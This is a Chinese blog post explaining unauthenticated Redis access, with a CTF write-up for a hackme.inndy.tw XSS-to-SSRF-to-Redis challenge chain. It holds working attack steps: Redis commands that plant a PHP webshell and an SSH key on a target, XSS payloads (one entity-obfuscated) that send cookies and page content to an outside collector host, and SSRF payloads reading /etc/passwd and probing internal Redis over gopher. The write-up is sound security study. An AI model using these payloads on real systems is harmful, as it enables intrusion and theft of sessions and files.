Hu3sky's blog

初识Redis未授权访问

Word count: 1,598 / Reading time: 8 min
2019/02/16 Share

初识Redis未授权访问

redis是一种以key-value为键值对的非关系型数据库
redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
它通常被称为数据结构服务器,因为值(value)可以是 字符串(String), 哈希(Map), 列表(list), 集合(sets) 和 有序集合(sorted sets)等类型。

安装服务

win

下载地址:https://github.com/MSOpenTech/redis/releases
测试环境:

1
2
操作系统:win7
ip:192.168.107.144


命令行输入
redis-server.exe redis.conf

接着查看端口

6379端口(redis默认端口)已经打开
redis成功启动

ubuntu

安装

1
2
sudo apt-get update
sudo apt-get install redis-server

启动服务

1
redis-server

基本命令

连接redis

1
redis-cli.exe -h 192.168.107.144

查看键为x的值

1
2
redis 192.168.107.144:6379> get x
"<?php phpinfo(); ?>"

get所有key

1
2
redis 192.168.107.144:6379> keys *
1) "x"

删除所有键

1
redis 192.168.107.144:6379>flushall

漏洞利用

本机通过telnet命令主动去连接目标机

或者通过redis-cli.exe -h 192.168.107.144连接

连接成功
输入info获取相关信息
可以看到redis版本号等

利用方式

  • 写入一句话webshell
  • 写入ssh公钥

写入shell

1
2
3
4
5
6
7
8
//设置x的值
redis 192.168.107.144:6379> set x "<?php phpinfo(); ?>"

redis 192.168.107.144:6379> config set dbfilename test.php

redis 192.168.107.144:6379> config set dir D:/WWW/PHPTutorial/WWW

redis 192.168.107.144:6379> save

成功写入目标机

写入ssh公钥

在本地生成一对密钥
root@ip-172-31-14-115:~/.ssh# ssh-keygen -t rsa

接着将ssh公钥写入靶机

1
2
3
4
5
6
7
root@ip-172-31-14-115:/etc/redis# redis-cli -h 192.168.107.144
192.168.107.144:6379> config set dir /root/.ssh # 设置本地存储文件目录
192.168.107.144:6379> config set dbfilename pub_keys # 设置本地存储文件名

192.168.107.144:6379> set x "xxxx" # 将你的ssh公钥写入x键里。(xxxx即你自己生成的ssh公钥)

192.168.107.144:6379> save # 保存

再到本地去连接ssh

1
2

root@ip-172-31-14-115:~/.ssh# ssh -i id_rsa root@192.168.107.144

即可

CTF中的redis(XSS->SSRF&Gopher->Redis)

题目为

题目地址:https://hackme.inndy.tw/scoreboard/

xeeme

泄露


在robots.txt发现泄露源码
是加密了的config.php

xss打cookie

注册登陆后的界面

发邮件有验证

验证写个脚本即可

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$captcha=1;
while(1) {
if(substr(md5("60df5eaed35edcf0".$captcha),0,5) === "00000")
{
echo $captcha;
break;
}
$captcha++;
}
echo "<br>".md5($captcha);
?>

然后过滤了一些东西

用img测试

onload也过滤了

这里注意到一个细节,过滤的是空格加上onerror,猜想是匹配到有空格的onerror才会过滤,于是构造没有空格的onerror,尝试payload

1
<img src=""onerror="document.location='http://vps/?a='+document.cookie">

然后打cookie,成功打到cookie

将SESSION解码

1
PHPSESSID=rmibdo13ohquscgsuphitr9cp4; FLAG_XSSME=FLAG{Sometimes, XSS can be critical vulnerability <script>alert(1)</script>}; FLAG_2=IN_THE_REDIS

xssrf leak

根据上一题的cookie,FLAG_2=IN_THE_REDIS
还是一样的环境
因为拿到了管理员的cookie,于是登陆一下

需要本地登陆,尝试一下伪造xff头
换了几个ip头都没用
于是想到之前做的题,可以直接去打管理员页面的源码
这里 不知道为什么 xss平台接收不到,于是换了一个平台
利用payload
<img src=""onerror="document.location='http://rkao6p.ceye.io/?'+btoa(document.body.innerHTML)">

发现innerhtml被过滤
于是html编码

1
<img src=""onerror="&#x64;&#x6f;&#x63;&#x75;&#x6d;&#x65;&#x6e;&#x74;&#x2e;&#x6c;&#x6f;&#x63;&#x61;&#x74;&#x69;&#x6f;&#x6e;&#x3d;&#x27;&#x68;&#x74;&#x74;&#x70;&#x3a;&#x2f;&#x2f;&#x72;&#x6b;&#x61;&#x6f;&#x36;&#x70;&#x2e;&#x63;&#x65;&#x79;&#x65;&#x2e;&#x69;&#x6f;&#x2f;&#x3f;&#x27;&#x2b;&#x62;&#x74;&#x6f;&#x61;&#x28;&#x64;&#x6f;&#x63;&#x75;&#x6d;&#x65;&#x6e;&#x74;&#x2e;&#x62;&#x6f;&#x64;&#x79;&#x2e;&#x69;&#x6e;&#x6e;&#x65;&#x72;&#x48;&#x54;&#x4d;&#x4c;&#x29;">

发现收到请求

解个码,放在本地

SSRF读取config.php

猜测send request功能存在ssrf

1
2
3
4
5
6
7
8
9
10
11
12
<img src=""onerror="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.location='http://vps?'+btoa(xmlhttp.responseText)
}
}
xmlhttp.open("GET","request.php",true);
xmlhttp.send();
">

vps收到请求

解码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
    ...


<form action="/request.php" method="POST">
<div class="form-group">
<label for="url">URL</label>
<textarea name="url" class="form-control" id="url" aria-describedby="url" placeholder="URL" rows="10"></textarea>
</div>

<button class="btn btn-primary">Send Request</button>
</form>
</div>
</body>
</html>

post请求的url参数
尝试读文件

1
2
3
4
5
6
7
8
9
10
11
12
13
<img src=""onerror="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.location='http://52.36.15.23:12345?'+btoa(xmlhttp.responseText)
}
}
xmlhttp.open("POST","request.php",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("url=file:///etc/passwd");
">

成功读到/etc/passwd

于是读之前的config.php

FLAG{curl -v -o flag --next flag://in-the.redis/the?port=25566&good=luck}

xssrf redis(ssrf+gopher拿下flag)

根据flag的提示,redis的端口是25566
请求redis配合gopher

1
2
3
4
5
6
7
8
9
10
11
12
13
<img src=""onerror="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.location='http://52.36.15.23:12345?'+btoa(xmlhttp.responseText)
}
}
xmlhttp.open("POST","request.php",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("url=gopher://127.0.0.1:25566/_info");
">


成功获取info
查看一下keys
xmlhttp.send("url=gopher://127.0.0.1:25566/_key%2520*");

去读
既然有flag键,那么直接去读flag的值
xmlhttp.send("url=gopher://127.0.0.1:25566/_get%2520flag");

类型不符合
于是查看类型
xmlhttp.send("url=gopher://127.0.0.1:25566/_type%2520flag");

是list,返回列表长度
xmlhttp.send("url=gopher://127.0.0.1:25566/_LLEN%2520flag");

那么获取所有元素
xmlhttp.send("url=gopher://127.0.0.1:25566/_LRANGE%2520flag%25200%252053");

于是写个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
flag="""
}
t
i
o
l
p
x
e

o
t

y
s
a
e

s
i

n
o
i
t
a
c
i
t
n
e
h
t
u
a

t
u
o
h
t
i
w

s
i
d
e
R
{
G
A
L
F
"""
result = flag[::-1]
print(result)

最后flag FLAG{Redis without authentication is easy to exploit}

参考

CATALOG
  1. 1. 初识Redis未授权访问
    1. 1.1. 安装服务
      1. 1.1.1. win
      2. 1.1.2. ubuntu
    2. 1.2. 基本命令
    3. 1.3. 漏洞利用
      1. 1.3.1. 写入shell
      2. 1.3.2. 写入ssh公钥
    4. 1.4. CTF中的redis(XSS->SSRF&Gopher->Redis)
      1. 1.4.1. xeeme
        1. 1.4.1.1. 泄露
        2. 1.4.1.2. xss打cookie
      2. 1.4.2. xssrf leak
        1. 1.4.2.1. SSRF读取config.php
      3. 1.4.3. xssrf redis(ssrf+gopher拿下flag)
    5. 1.5. 参考